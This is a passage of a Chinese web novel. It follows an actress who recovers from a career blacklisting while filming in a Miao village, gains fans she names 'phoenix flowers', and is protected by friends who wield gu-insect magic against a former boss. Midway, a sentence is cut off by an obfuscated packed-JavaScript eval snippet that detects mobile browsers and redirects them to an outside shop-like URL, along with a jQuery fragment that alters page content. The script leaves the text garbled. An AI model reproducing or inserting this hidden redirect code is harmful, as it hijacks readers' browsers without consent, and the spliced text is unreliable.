她点开微博，没有加任何滤镜，直接上传了这张合影。编辑框里，她只敲下了一句话，没有多余的标点，没有复杂的情绪，却藏着无尽的感慨： 故事好像回到了开头。 发送按钮按下去的瞬间，她听见身边的沈司南低声说：“不是回到开头，是有了新的开始。” 陈杬祝抬头看他，又看了看身边的众人，突然笑了。是啊，不是回到开头，而是在经历了风雨之后，她带着最珍贵的朋友，最温暖的家人，重新站在了这片她深爱的土地上，开启了属于她的，新的故事。 手机震动了一下，是微博的消息提示音。她没有去看评论区的喧嚣，只是将手机揣进兜里，挽住绫司司的胳膊，朝着吊脚楼的方向走去。身后，许祭和沈司南并肩走着，梨霄宫和梨春梦的笑声随风飘远，银饰的清脆声响，和着苗寨的晚风，谱成了一曲最动听的歌。 夜色沉到最浓的时候，苗寨的吊脚楼里早已没了人声，只有窗外的虫鸣和偶尔掠过的山风，在寂静里织出细碎的声响。陈杬祝躺在临时搭起的木板床上，身上盖着寨里阿婆送来的粗布被子，鼻尖还萦绕着淡淡的草木香气。 身边的绫司司睡得很沉，呼吸均匀，上官渡靠在不远处的竹椅上，也已经阖上了眼，只有手腕上的银镯，在月光下泛着一点微弱的光。沈司南和许祭被安排在隔壁的吊脚楼，梨霄宫和梨春梦姐妹俩早就挤在一张床上，连梦里都带着甜甜的笑意。 整个剧组都陷入了沉睡，只有陈杬祝，翻来覆去怎么也睡不着。 她悄悄从枕头下摸出手机，屏幕的光刺得她微微眯起眼，她赶紧将亮度调到最低，生怕惊扰了身边的人。指尖在屏幕上划过，没有丝毫犹豫，就点开了那条带着合影的微博。 发送的时候有多坦然，此刻点开评论区的心情就有多复杂。她以为自己早就不在乎了，不在乎那些谩骂，不在乎那些误解，可当指尖悬在评论区的入口时，心脏还是忍不住怦怦直跳。 她深吸一口气，缓缓下滑屏幕。 最先跳出来的，是几个熟悉的头像——那是她被封杀后，始终没有取关的几个死忠粉。 “姐姐！终于看到你笑了！这张照片里的你，眼睛里有光！” “苗寨的风景好美，姐姐身边的人看起来都好温暖，真好。” “不管发生什么，我们都在！” 再往下翻，是一些陌生的ID。 “天呐，这是陈杬祝吗？她怎么去苗寨拍戏了？” “这张合影好有氛围感，身后的梯田和青山也太绝了吧！” “之前好像听说她为苗寨发声被封杀了？现在看来，她是真的很喜欢苗寨啊。” 没有想象中的谩骂，没有铺天盖地的嘲讽，甚至有不少人，开始为她说话。 “当初那些营销号断章取义，现在看看陈杬祝在苗寨的样子，哪里像是在洗地？明明是真的热爱这里。” “她身边的人，好像有苗寨的祭祀？还有之前那个帮她澄清的公关大神？原来他们都是朋友。” “《银饰与风》是什么剧？求一个播出时间！看起来好有质感！” 陈杬祝的指尖轻轻划过那些评论，眼泪不知不觉就掉了下来，砸在手机屏幕上，晕开了那些温暖的文字。她赶紧用手背擦去眼泪，却越擦越多。 她想起自己发“我好恨”那条微博时的绝望，想起被全网封杀时的狼狈，想起江殇发来分手消息时的冰冷，想起自己蜷缩在公寓的地板上，看着窗外的万家灯火，觉得整个世界都抛弃了自己。 可现在，评论区里，竟然满是温暖和善意。 有人晒出了许祭之前发布的澄清证据，有人科普了苗寨的文化习俗，有人甚至开始为她之前的遭遇鸣不平。#陈杬祝 苗寨合影# #银饰与风剧组# 的词条，竟然悄悄爬上了热搜的尾巴，后面跟着一个小小的“热”字。 她点开自己的粉丝列表，粉丝数不仅没有继续下降，反而开始缓慢地增长。那些新关注的粉丝，头像大多是苗寨的风景，或者是银饰的图案。 陈杬祝握着手机，身体微微颤抖。她不敢发出声音，只能将脸埋进被子里，压抑着自己的哭声。这一次，不是委屈，不是绝望，而是一种失而复得的喜悦，一种被理解的感动。 不知过了多久，她的手机轻轻震动了一下，是许祭发来的消息，只有简短的一句话：“别熬太晚，明天还要拍戏。评论区的事，我会处理。” 陈杬祝看着那条消息，嘴角忍不住微微上扬。她回复了一个“好”字，然后退出了微博，将手机重新塞回枕头下。 她躺回床上，看着窗外的月光，听着身边绫司司均匀的呼吸声，突然觉得，一切都在慢慢变好。 故事好像回到了开头，却又不是简单的重复。 开头的她，带着对苗寨的热爱，带着对演艺事业的憧憬，孤身一人闯入娱乐圈。 而现在的她，身边有最好的朋友，有最温暖的家人，有最坚实的后盾，她依旧带着对苗寨的热爱，带着对演艺事业的憧憬，只是这一次，她不再是孤身一人。 窗外的虫鸣依旧，山风依旧，月光透过吊脚楼的木窗，洒在她的脸上，也洒在她的心上。 陈杬祝缓缓闭上眼睛，嘴角带着一丝浅浅的笑意，终于进入了甜美的梦乡。 33. 三千年凤凰 天刚蒙蒙亮，苗寨的雾霭还像一层薄纱裹着吊脚楼的飞檐，陈杬祝就被窗外的鸡鸣声唤醒。她轻手轻脚地从木板床上坐起来，生怕吵醒身边还在熟睡的绫司司，指尖下意识地摸了摸枕头下的手机——屏幕暗着，昨晚那些温暖的评论还停留在记忆里，像一颗糖，在心底慢慢化开。 她简单洗漱完毕，换上那件绣着蝴蝶银纹的苗裙，刚走到吊脚楼的走廊上，就看见沈司南站在不远处的青石板路上。他依旧穿着那件玄色对襟短褂，墨发用发带束得整齐，手里捏着一枚刚从寨边折来的艾草，晨露顺着草叶滴落在石板上，晕开小小的水痕。 听见脚步声，沈司南抬眼看来，目光落在她身上时，少了几分平日里作为民俗顾问的严谨，多了几分发小间的温和。 “醒了。”他开口，声音被晨雾润得低沉，将手里的艾草递给她，“寨里的阿婆说，带点艾草在身上，今天拍戏会顺顺利利。” 陈杬祝接过艾草，指尖触到微凉的草叶，鼻尖萦绕着清苦的香气，她笑着点头：“谢谢。” 两人并肩往剧组的方向走，脚下的青石板路带着清晨的湿滑，远处的梯田在雾中若隐若现，偶尔能听见寨里姑娘们清脆的笑声。昨晚偷偷看评论区的悸动还没完全褪去，陈杬祝的嘴角始终挂着一丝浅浅的笑意，连脚步都比往日轻快了些。 “今天拍的是阿银决定留在苗寨，放弃外面繁华世界的戏份。”沈司南突然开口，语气平静地提起今天的拍摄内容，“台词里有一段苗语的独白，你昨晚背得怎么样了？” “都记住了。”陈杬祝点头，甚至还轻声念了两句，发音清晰婉转，带着独属于苗家儿女的缱绻。 沈司南停下脚步，转头看向她。晨光刚好穿透雾霭，落在她的眉眼间，苗裙上的银纹泛着细碎的光，她的眼睛里盛着雾，盛着光，盛着对这片土地的热爱，再也没有了当初被封杀时的绝望和阴霾。 他沉默了几秒，突然开口，声音里带着一种前所未有的认真：“你很厉害，有从头开始的勇气。” 陈杬祝的脚步猛地顿住，抬头看向沈司南。她以为，沈司南永远只会用那种清冷的语气，提醒她苗寨的规矩，纠正她的苗语发音，却没想到，他会说出这样一句话。 记忆瞬间翻涌而来——她离开苗寨去闯娱乐圈时，是沈司南送她到寨口，塞给她一枚银蝴蝶发簪，只说了一句“照顾好自己”；她被全网谩骂时，是沈司南连夜推掉祭祀大典，从苗寨赶来，默默站在她身边；她决定接下《银饰与风》时，是沈司南放下祭祀的身份，做她的民俗顾问，手把手教她每一个细节。 他从来都不是一个擅长表达的人，却用自己的方式，一直支持着她。 陈杬祝的眼眶瞬间红了，她吸了吸鼻子，努力不让眼泪掉下来，声音带着一丝哽咽：“我只是……不想辜负苗寨，不想辜负自己。” “你没有辜负任何人。”沈司南的声音依旧低沉，却带着一种让人安心的力量，“苗寨以你为荣，我也以你为荣。” 这时，许祭的声音从远处传来，他手里拎着两袋早餐，正朝他们挥手：“杬祝，司南，快过来吃早餐了！阿婆特意做的糯米糍，还是热的！” 陈杬祝擦干眼角的湿润，对着沈司南露出一个灿烂的笑容。她握紧手里的艾草，也握紧了那份来自发小的肯定和支持。 两人并肩走向许祭，晨光渐渐驱散了雾霭，苗寨的轮廓变得清晰起来。吊脚楼的炊烟袅袅升起，银饰的清脆声响在空气中回荡，新的一天，新的拍摄，也新的希望。 陈杬祝知道，这一次，她再也不会退缩。因为她的身后，有沈司南，有许祭，有绫司司，有上官渡，有梨霄宫和梨春梦，有整个苗寨的父老乡亲。 她的从头开始，从来都不是孤身一人。 《银饰与风》上线的那天，没有盛大的宣发，没有流量明星的联动，甚至连播出平台都是几个名不见经传的地方台和小众视频网站。陈杬祝正在苗寨的梯田里拍最后一场杀青戏，泥点子溅到了她的苗裙上，银饰的声响混着风吹稻浪的声音，在山谷里荡开。 许祭拿着手机跑过来的时候，呼吸都带着急湍的山风：“杬祝，火了！我们的剧，彻底火了！” 他的声音不大，却让周围的剧组成员瞬间沸腾起来。陈杬祝愣在原地，看着许祭手机屏幕上不断飙升的播放量，看着弹幕里密密麻麻的评论，一时间竟有些回不过神。 沈司南站在她身侧，墨发被风吹得微微晃动，眼底是藏不住的笑意：“我说过，你会让所有人看到苗寨的光。” 没人能想到，一部没有流量、没有噱头、全靠口碑发酵的网剧，会在短短三天内，播放量突破十亿。陈杬祝饰演的阿银，那个生于苗寨、守着银饰、心怀善意的苗家姑娘，成了无数观众心中的白月光。 她在剧中的一颦一笑，都带着苗寨山水的灵秀；她开口说苗语时的婉转语调，她佩戴银饰时的庄重姿态，她参与祭祀时的虔诚眼神，都被观众反复截图、剪辑、转发。有人说，她的眼睛里盛着三千年的月光，有人说，她的笑容里藏着苗寨最纯粹的风，而最终，一个称呼在粉丝间悄然流传，并且以惊人的速度扩散开来—— 三千年凤凰。 这个称呼，最初源于一位剧评人的长文：“陈杬祝的表演，不是演，而是活。她就像一只从三千年苗寨文化里飞出来的凤凰，浴火重生，惊艳了时光。她曾跌入泥潭，却凭借着对故土的热爱和对初心的坚守，涅槃而起，这才是凤凰真正的寓意。” 一夜之间，#陈杬祝 三千年凤凰# 的词条冲上了热搜榜首，后面跟着一个滚烫的“爆”字。 陈杬祝的微博评论区，早已不是当初的谩骂和嘲讽。最新的那条合影微博下，评论已经突破了百万条。 “三千年凤凰！姐姐当之无愧！” “阿银就是你，你就是阿银！谢谢你让我们看到了苗寨的美！” “从顶流跌落，到涅槃重生，姐姐的人生比剧本还精彩！” “凤凰浴火，向光而生！以后我们就是姐姐的凤凰护卫队！” 粉丝们自发组织起来，有人整理她在剧中的苗语台词，有人科普苗寨的银饰文化和祭祀习俗，有人剪辑她的表演片段，配上“凤凰涅槃”的BGM，在各大平台刷屏。甚至有不少粉丝特意跑到苗寨，只为了走一走她走过的青石板路，尝一尝她提到过的甜酒，买一件她剧中佩戴过的同款银饰。 苗寨的旅游业，因为这部剧，瞬间火爆起来。寨里的阿婆们笑着说，这都是杬祝的功劳。 陈杬祝的杀青戏拍完那天，苗寨的晒谷场上摆起了长桌宴。她穿着那件绣着蝴蝶银纹的苗裙，坐在沈司南和许祭身边，绫司司和上官渡坐在她的对面，梨霄宫和梨春梦姐妹俩正围着她，叽叽喳喳地说着粉丝们给她取的新称呼。 “杬祝姐姐，他们都叫你三千年凤凰呢！”梨春梦的眼睛亮晶晶的，“凤凰是不是最厉害的鸟？” 陈杬祝笑着点头，伸手揉了揉她的发顶：“是啊，凤凰是最勇敢的鸟。” 沈司南给她倒了一杯甜酒，声音低沉却带着温柔：“凤凰浴火，涅槃重生。这个称呼，你值得。” 许祭举起手机，屏幕上是粉丝们为她画的应援图——一只展翅的凤凰，身上的羽毛是苗寨的银纹，背景是层层叠叠的梯田和连绵的青山。“你的粉丝们，已经开始自发为你应援了。他们说，要让三千年凤凰，重新站在最耀眼的舞台上。” 陈杬祝看着那张应援图，看着身边一张张熟悉的笑脸，看着远处灯火通明的吊脚楼，看着夜空中璀璨的星星，眼泪终于忍不住掉了下来。 这一次，不是委屈，不是绝望，不是释然，而是一种满溢的幸福。 她曾失去一切，事业尽毁，爱情破灭，被全世界误解和谩骂。可她从未放弃，从未忘记自己是苗家的女儿，从未忘记自己对演艺事业的初心。 现在，她的剧火了，她被粉丝们称为三千年凤凰，她让更多人看到了苗寨的美，看到了苗寨文化的魅力。 她的身后，有沈司南，有许祭，有绫司司，有上官渡，有梨霄宫和梨春梦，有整个苗寨的父老乡亲，还有无数喜欢她、支持她的粉丝。 晚宴的音乐响起来了，寨里的姑娘们跳起了苗舞，银饰的声响清脆悦耳。陈杬祝站起身，跟着她们一起跳了起来。她的裙摆随风飘动，银纹在灯光下泛着细碎的光，像一只真正的凤凰，在属于她的舞台上，展翅高飞。 手机里的消息还在不断弹出，播放量还在不断飙升，粉丝的数量还在不断增长。可陈杬祝已经不在乎了。 她知道，无论未来如何，她都不会再害怕。 因为她是陈杬祝，是苗家的女儿，是粉丝们心中的三千年凤凰。 更是那个，永远拥有从头开始的勇气，永远向着光前行的自己。 长桌宴的余温还没散尽，苗寨的夜空缀满了星星，陈杬祝坐在吊脚楼的走廊上，手里捏着手机，指尖在屏幕上轻轻摩挲。许祭刚把粉丝后援会整理的应援数据发给她，里面满是“凤凰护卫队”“三千年羽翼”这类自发的粉丝名，每条都带着粉丝们滚烫的心意。 身边的沈司南正用木叶吹着古老的苗歌，旋律婉转，和着远处传来的芦笙声。绫司司靠在上官渡肩头，两人低声说着话，梨霄宫和梨春梦姐妹俩已经趴在竹桌上，睡得脸颊红扑扑的。 陈杬祝点开微博，粉丝群里还在热烈讨论着正式粉丝名的事，有人说要贴合“三千年凤凰”的称呼，有人说要带上苗寨的印记，吵得不可开交。她看着屏幕上那些热情的留言，嘴角的笑意渐渐温柔。 她想起自己被封杀的日子，那些始终没有取关的粉丝，像暗夜里的萤火，默默陪着她走过最黑暗的时光；想起《银饰与风》上线后，粉丝们自发科普苗寨文化，为她鸣不平，像潮水般涌来的支持，将她从泥潭里轻轻托起；想起粉丝们喊她“三千年凤凰”时，那份藏在称呼里的，对她浴火重生的肯定与敬意。 凤凰，是涅槃，是重生，是不屈。 而她想给这份情谊，加一点更温暖的东西。 她想起苗寨的夏日，漫山遍野的凤凰花开得如火如荼，殷红的花瓣落在青石板路上，踩上去像铺了一层锦缎。寨里的阿婆说，凤凰花是吉祥的花，开在哪里，哪里就有团圆和欢喜。它不像凤凰那样遥远而孤傲，它扎根在泥土里，热烈而鲜活，像极了她和粉丝们之间的联结——不是高高在上的仰望，而是彼此陪伴的温暖。 陈杬祝的指尖顿住，随即敲下一行字，没有提前和任何人商量，直接发在了微博超话的置顶位置，还附了一张她昨天在苗寨山脚下拍的凤凰花照片——殷红的花瓣簇拥着，背景是连绵的青山，阳光洒在花瓣上，泛着温暖的光。 “从今天起，我们的粉丝名，就叫凤凰花。 凤凰浴火，花自盛开。 谢谢你们，像凤凰花一样，开在我生命里的每一个角落，热烈而坚定，温暖而明亮。 往后的路，我们一起走。” 发送的瞬间，手机几乎要被消息提示音震得发烫。 超话里瞬间炸开了锅，原本争论不休的粉丝们，此刻却出奇地一致。 “凤凰花！这个名字也太好听了吧！” “凤凰浴火，花自盛开！姐姐的寓意好暖！” “凤凰花是苗寨的花！既贴合了姐姐的根，又呼应了三千年凤凰的称呼！” “以后我就是姐姐的一朵凤凰花！永远为姐姐盛开！” 许祭凑过来看了一眼，眼底满是笑意：“这个名字选得好，比我想的任何一个都合适。” 沈司南的木叶声停了，他转头看向陈杬祝，墨发下的眉眼清隽，声音里带着一丝不易察觉的赞许：“凤凰花，寨里的吉祥花。很好。” 陈杬祝抬头，看着夜空中的星星，看着身边的朋友们，看着手机屏幕上不断刷屏的“凤凰花”，眼眶微微发热。 她曾以为自己的世界只剩下黑暗，却没想到，会有这么多人，带着光和热，走进她的生命里。他们像凤凰花一样，在她最荒芜的日子里，悄然盛开，用热烈的色彩，点亮了她的整个世界。 手机震动了一下，是粉丝后援会发来的消息：“姐姐！我们已经把超话头像换成凤凰花了！以后，我们就是你的凤凰花战队！” 陈杬祝笑着回复了一个“好”字，然后将手机揣进兜里，靠在走廊的栏杆上，听着芦笙声和木叶声交织在一起，听着身边朋友们均匀的呼吸声，听着远处寨里传来的欢声笑语。 夜风轻轻吹过，带着凤凰花的淡淡香气，也带着苗寨特有的草木气息。 陈杬祝知道，从今天起，她不再是孤身一人。 她有沈司南和许祭的陪伴，有绫司司和上官渡的支持，有梨霄宫和梨春梦的欢笑，有整个苗寨的后盾，还有无数朵热烈而坚定的凤凰花，陪她一起，走向更远的未来。 凤凰浴火，花自盛开。 这不仅是粉丝名的寓意，更是她和她的凤凰花们，共同的约定。 陈杬祝是在清晨的苗歌里点开微博的。 她刚帮寨里的阿婆把晒在谷场上的银饰坯子收进屋里，指尖还沾着淡淡的草木灰和银器特有的冷光。手机是许祭昨天刚帮她换的新电池，屏幕亮起来的时候，恰好有一缕晨光透过吊脚楼的木窗，落在她的手背上。 原本只是想看看粉丝后援会发来的凤凰花应援计划，可点开个人主页的瞬间，陈杬祝的指尖顿住了。 粉丝数那一栏，不再是之前那个停滞不前的数字，而是明晃晃的300000。 后面的单位是“万”。 她以为自己看错了，揉了揉眼睛，又确认了一遍。数字没有变，甚至还在以肉眼可见的速度缓慢增长，每刷新一次，都能看到末尾的数字跳上几跳。 喉咙突然发紧，陈杬祝握着手机的手微微颤抖。她想起自己被封杀时，粉丝数以每天几万的速度掉，超话被锁，评论区被谩骂淹没，最后只剩下寥寥几万死忠粉，还在顶着压力默默守护。而现在，仅仅是《银饰与风》上线半个月，仅仅是她把粉丝名改成凤凰花的第三天，她的微博粉丝数，就悄无声息地涨到了30万。 身后传来脚步声，沈司南端着一碗温热的甜酒走过来，玄色短褂的袖口蹭到她的胳膊，声音低沉而温和：“发什么呆？阿婆煮的甜酒，再不吃就凉了。” 陈杬祝没有回头，只是把手机屏幕转向他。 沈司南的目光落在粉丝数上，墨色的眸子里闪过一丝讶异，随即化为淡淡的笑意。他将甜酒递到她手中，声音里带着一丝不易察觉的骄傲：“凤凰花，开得很快。” 许祭的声音紧接着从门口传来，他手里拿着一份打印好的数据分析表，脸上是藏不住的兴奋：“杬祝，你看！30万粉丝里，有超过20万是新关注的，其中一半以上都关注了苗寨文化相关的账号，还有不少人已经订了来苗寨的机票！” 他顿了顿，指着屏幕上的互动数据：“你那条凤凰花的微博，转发量已经破百万了，评论区全是凤凰花们的打卡留言。还有人自发组织了‘凤凰花护苗行动’，专门在网上科普苗寨的银饰、刺绣和民俗文化，比我们之前的澄清效果还要好！” 陈杬祝低头看着碗里的甜酒，温热的液体晃出细碎的涟漪。她点开评论区，最新的一条留言是一个刚关注的粉丝发的：“我是因为阿银来的！凤凰花报道！以后会和姐姐一起，守护苗寨的美！” 往下翻，全是类似的留言。 “30万凤凰花之一报道！姐姐冲鸭！” “从剧粉转成姐姐的死忠粉！凤凰花永远为你盛开！” “以前对苗寨一无所知，现在已经把苗寨列入旅行清单！谢谢姐姐让我看到这么美的地方！” 甚至有不少之前骂过她的网友，现在都跑来道歉：“对不起，当初我被营销号带偏了，现在才知道你是对的。你是真正的好演员，也是真正热爱苗寨的姑娘。” 陈杬祝的眼泪滴落在甜酒里，晕开一圈圈温热的痕迹。她没有擦，只是任由眼泪往下掉，嘴角却忍不住向上扬起。 这30万粉丝，不是靠顶流的光环，不是靠流量的加持，而是靠她的坚持，靠《银饰与风》的口碑，靠粉丝们对她的认可，靠大家对苗寨文化的热爱。 沈司南站在她身边，安静地看着她，没有说话，只是轻轻拍了拍她的背。许祭则在一旁，笑着和后援会的人沟通后续的应援安排。 不远处，绫司司和上官渡正带着梨霄宫和梨春梦采凤凰花，姑娘们的笑声随着山风飘过来，银饰碰撞的清脆声响，和着苗歌的旋律，在山谷里久久回荡。 陈杬祝擦干眼泪，端起甜酒，轻轻抿了一口。温热的糯米香气在口腔里散开，带着苗寨特有的温柔。 她点开微博编辑框，没有配任何图片，只是敲下了一行简单的字： “30万朵凤凰花，你们好。往后的路，我们一起走。” 发送按钮按下去的瞬间，手机又开始疯狂震动。陈杬祝抬头看向窗外，晨光已经洒满了整个苗寨，梯田泛着金光，吊脚楼的炊烟袅袅升起，凤凰花在山脚下开得如火如荼。 她知道，这30万只是一个开始。 她的凤凰花们，会像苗寨的凤凰花一样，开得越来越热烈，越来越繁茂。 而她，也会带着这份热爱和坚持，继续演好每一个角色，讲好每一个苗寨的故事。 凤凰浴火，花自盛开。 这一次，她终于可以骄傲地说，她的世界，再也不会缺少光和热。 陈杬祝坐在吊脚楼的栏杆上，腿边放着刚摘的凤凰花，殷红的花瓣沾着晨露，在阳光下泛着细碎的光。手机搁在膝盖上，屏幕亮着她和沈司南、许祭他们的那张合影，评论区里满是凤凰花们的打卡留言，30万粉丝的红色数字在主页上格外醒目。 她指尖划过屏幕，点开微博编辑框，先上传了一张新拍的照片——画面里，沈司南的玄色短褂一角、许祭白色衬衫的袖口、绫司司攥着野雏菊的手、上官渡腕间的银镯，都凑在镜头前，背景是苗寨层层叠叠的梯田，没有露脸，却满是熟悉的温暖。 然后她顿了顿，指尖在@符号上轻轻一点，依次敲下那几个刻在心底的名字： @沈司南@绫司司@许祭@上官渡 编辑框里的光标跳动着，她低头看着腿边的凤凰花，想起阿婆说过的话——凤凰花再热烈，也需要扎根的树，才能岁岁盛开，永不凋零。 她的指尖落下，敲下一行字，没有华丽的辞藻，却藏着她所有的感激与珍重： 你们是我凤凰花的树。 发送按钮按下去的瞬间，山风刚好吹过，带着凤凰花的香气，也带着吊脚楼里传来的笑声。沈司南正站在不远处的晒谷场上，打磨着一枚银蝴蝶发簪；许祭在和后援会的人沟通“凤凰花护苗行动”的细节；绫司司和上官渡坐在竹椅上，低头绣着凤凰花纹的手帕；梨霄宫和梨春梦追着寨里的小狗，银饰的声响清脆悦耳。 陈杬祝举着手机，朝着他们挥了挥手：“我发微博啦！” 沈司南抬头看了她一眼，墨色的眸子里闪过一丝温柔，微微颔首；许祭笑着朝她比了个“收到”的手势；绫司司抬起头，脸上带着腼腆的笑意；上官渡则冲她扬了扬手里的手帕，银镯在阳光下闪着光。 手机很快开始震动，评论区瞬间被凤凰花们刷屏： “啊啊啊！这是什么神仙友情！” “树和花的比喻也太好哭了吧！姐姐的朋友们都是宝藏！” “@沈司南祭祀大人！@许祭公关大神！@绫司司 @上官渡两位姐姐！谢谢你们一直陪着姐姐！” “凤凰花有了树，才能开得更热烈！我们永远是姐姐的花，姐姐的朋友们永远是我们的树！” 有人开始扒照片里的细节，有人科普沈司南的苗寨祭祀身份，有人回忆许祭当初的澄清证据，有人剪辑绫司司和上官渡在剧组里照顾陈杬祝的片段，#陈杬祝 凤凰花的树# 的词条很快就冲上了热搜。 陈杬祝没有再看手机，只是将它揣进兜里，弯腰捡起一朵落在地上的凤凰花，别在了绫司司的发辫上。绫司司的脸瞬间红了，上官渡看着她们，嘴角的笑意越来越浓。 沈司南走过来，将刚打磨好的银蝴蝶发簪递给她，声音低沉而温和：“戴上吧，拍戏的时候能用。” 许祭也凑过来，手里拿着一份新的数据分析表：“杬祝，好消息！‘凤凰花护苗行动’已经有上万人参与了，苗寨的银饰和刺绣订单都翻了好几倍！” 陈杬祝看着身边的人，看着远处连绵的青山，看着脚下开得如火如荼的凤凰花，突然觉得，自己是世界上最幸福的人。 她曾跌入泥潭，失去一切，却在最狼狈的时候，被这些人拉了起来。他们是她的树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037620|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是她的根，是她无论走多远，都可以回头依靠的港湾。 而她的凤凰花们，是开在树上的花，热烈而坚定，温暖而明亮。 树在，花在，她在。 往后的路，他们一起走。 麻烦是在一个阴雨绵绵的午后找上门的。 几辆黑色的越野车冲破苗寨外的晨雾，径直停在吊脚楼群的入口，车门打开，下来十几个穿着黑西装的男人，为首的是个面色阴鸷的中年男人，手里捏着一份皱巴巴的合同，正是当初和陈杬祝解约的娱乐公司老板。 他们是冲着《银饰与风》的爆火来的。眼红陈杬祝的翻红，也忌惮她背后悄然崛起的粉丝力量，便想借着早年签下的一份霸王条款，逼她回公司续约，否则就状告她违约，让她刚有起色的演艺生涯再次陷入泥潭。 “陈杬祝！给我出来！”为首的男人扯着嗓子喊，声音在雨雾里显得格外刺耳，惊飞了吊脚楼檐下的麻雀。寨里的老人和孩子都躲在门后，眼神里满是警惕，几个年轻的后生抄起了院角的扁担，却被沈司南一个眼神制止了。 陈杬祝正在和绫司司一起绣凤凰花手帕，听到声音，指尖的银针顿了顿，脸色微微发白。许祭立刻挡在她身前，眼底闪过一丝锐利，刚要开□□涉，就见沈司南从祭祀堂的方向缓步走来。 他依旧穿着那件玄色对襟短褂，墨发被雨丝打湿，贴在光洁的额头上，周身的气压低得吓人。上官渡跟在他身侧，一身素白的苗裙，手里挽着一个竹篮，篮盖半掩，隐约能看到里面铺着的青色蛊布，眼神冷得像冰。 “这里是苗寨，不是你们撒野的地方。”沈司南的声音不高，却带着一股不容置疑的威压，雨珠落在他的肩头，竟像是被一股无形的力量弹开，“滚。” 为首的男人嗤笑一声，挥了挥手里的合同：“沈司南？一个苗寨的神棍而已，少管闲事！我找陈杬祝，是为了公事！她早年和我们公司签过约，现在红了，就得履行合约！” 话音刚落，上官渡的指尖轻轻动了动。 没人看清她是怎么操作的，只听见为首的男人突然发出一声凄厉的惨叫，他抱着自己的腿，脸色瞬间涨成了紫色，额头上的青筋暴起，像是有什么东西在他的血管里钻动。他带来的手下刚要上前，却一个个突然僵在原地，浑身瘙痒难耐，抓得衣服都破了，皮肤红肿一片，却连一点伤口都没有。 “你……你们对我们做了什么？！”为首的男人疼得直打滚，声音里带着哭腔。 沈司南的目光落在他扭曲的脸上，眼底没有一丝波澜。他指尖夹着一只通体透明的蛊虫，虫身泛着淡淡的银光，正是苗寨特有的银线蛊，能钻透皮肉，顺着血脉游走，带来蚀骨的疼痛，却不会留下任何痕迹。“苗寨的规矩，外乡人不敬，便要受蛊罚。” 上官渡蹲下身，竹篮里的蛊布掀开一角，露出几只巴掌大的花斑蛊，翅膀扇动间，散发出一股淡淡的异香。那些原本还在挣扎的手下，闻到香气后，瞬间眼神涣散，瘫倒在地，嘴里喃喃自语，全是些求饶的话。“我的花斑蛊，能让人说出心底最恐惧的事。你们不妨听听，他刚才在想什么。” 竹篮里的蛊虫发出一阵细微的嗡鸣，为首男人的声音竟被原样复刻出来——“只要逼陈杬祝续约，就能靠她的热度赚大钱，就算用点手段也没关系！苗寨的人都是乡巴佬，好糊弄！” 这话一出，寨里的后生们瞬间怒了，抄起扁担就要冲上去，却被沈司南抬手拦下。 陈杬祝从许祭身后走出来，看着眼前狼狈不堪的一群人，眼底没有了最初的恐惧，只剩下一片冰冷。她走到为首的男人面前，声音平静却带着力量：“那份合约，我早就通过法律途径解除了。你们今天来，不是为了公事，是为了私欲。现在，带着你的人，滚出苗寨。” 为首的男人疼得说不出话，只能拼命点头。沈司南指尖的银线蛊轻轻一颤，男人腿上的疼痛瞬间消失，只是浑身的力气像是被抽干了一样，站都站不稳。上官渡吹了一声口哨，那些花斑蛊瞬间飞回竹篮，瘫倒在地的手下们也恢复了神智，却一个个面如死灰，看向沈司南和上官渡的眼神里，满是刻骨的恐惧。 “滚。”沈司南再次开口，声音里的寒意让在场的人都打了个寒颤。 十几个男人连滚带爬地冲回越野车，连车门都没关稳，就仓皇逃窜，车胎碾过青石板路，溅起一片泥水，很快就消失在雨雾里。 雨渐渐小了，沈司南收起银线蛊，上官渡也将竹篮盖好，两人的脸上又恢复了往日的平静，仿佛刚才的一切都没有发生过。 陈杬祝走到他们身边，声音里带着一丝哽咽：“谢谢你们。” “我们是朋友。”沈司南的声音依旧低沉，却带着一丝不易察觉的温柔，他抬手替她拂去发间的雨珠，“苗寨的儿女，不容外人欺辱。” 上官渡笑了笑，将竹篮递到她面前：“别怕，我的蛊，只伤恶人。以后再有人来捣乱，我让他们有来无回。” 许祭走上前，手里拿着一份文件：“我已经把他们的所作所为录下来了，还有那份霸王合约的解除证明，随时可以公开。他们以后，再也不敢来找你麻烦了。” 绫司司也跑过来，紧紧攥着陈杬祝的手，眼眶红红的：“杬祝，你没事吧？” 陈杬祝摇了摇头，看着身边的朋友们，看着寨里渐渐走出来的父老乡亲，看着远处雨雾中若隐若现的梯田，突然觉得，自己再也不会害怕了。 沈司南和上官渡站在她的身后，一个是寨里的祭祀，能驭百蛊，护她周全；一个是寨里的神女，能驱千虫，为她撑腰。许祭和绫司司站在她的身边，一个能运筹帷幄，为她扫清障碍；一个能温柔相伴，给她温暖依靠。 雨停了，阳光透过云层，洒在苗寨的吊脚楼上，泛着温暖的光。凤凰花在山脚下开得如火如荼，银饰的清脆声响和苗歌的婉转旋律，在空气中久久回荡。 陈杬祝抬头看向天空，嘴角露出了一抹灿烂的笑容。 她的身后，有最坚实的后盾，有最温暖的家人，有最热烈的凤凰花。 从此，无人再敢欺她，无人再敢辱她。 她是陈杬祝，是苗家的女儿，是粉丝们心中的三千年凤凰，更是被爱与守护包围的，最勇敢的自己。 夜色漫过苗寨的吊脚楼时，陈杬祝正和沈司南、许祭、绫司司、上官渡挤在祭祀堂旁那座老吊脚楼的屋顶上。 青灰色的瓦片还带着白日里阳光的余温，沈司南靠着屋脊，玄色短褂的下摆垂在瓦檐边，墨发被山风吹得微微晃动，手里捏着一管木叶，却没有吹响。许祭坐在他身边，白色衬衫的袖子卷到小臂，正低头给绫司司剥着野核桃，动作温柔得不像话。绫司司挨着上官渡，手里攥着一把刚摘的星星草，脸颊泛着淡淡的红晕，听着许祭讲外面世界的故事，眼睛亮晶晶的。上官渡则支着一条腿，腕间的银镯垂在膝盖上，偶尔抬眼看向远处的星空，嘴角噙着一抹浅淡的笑意。 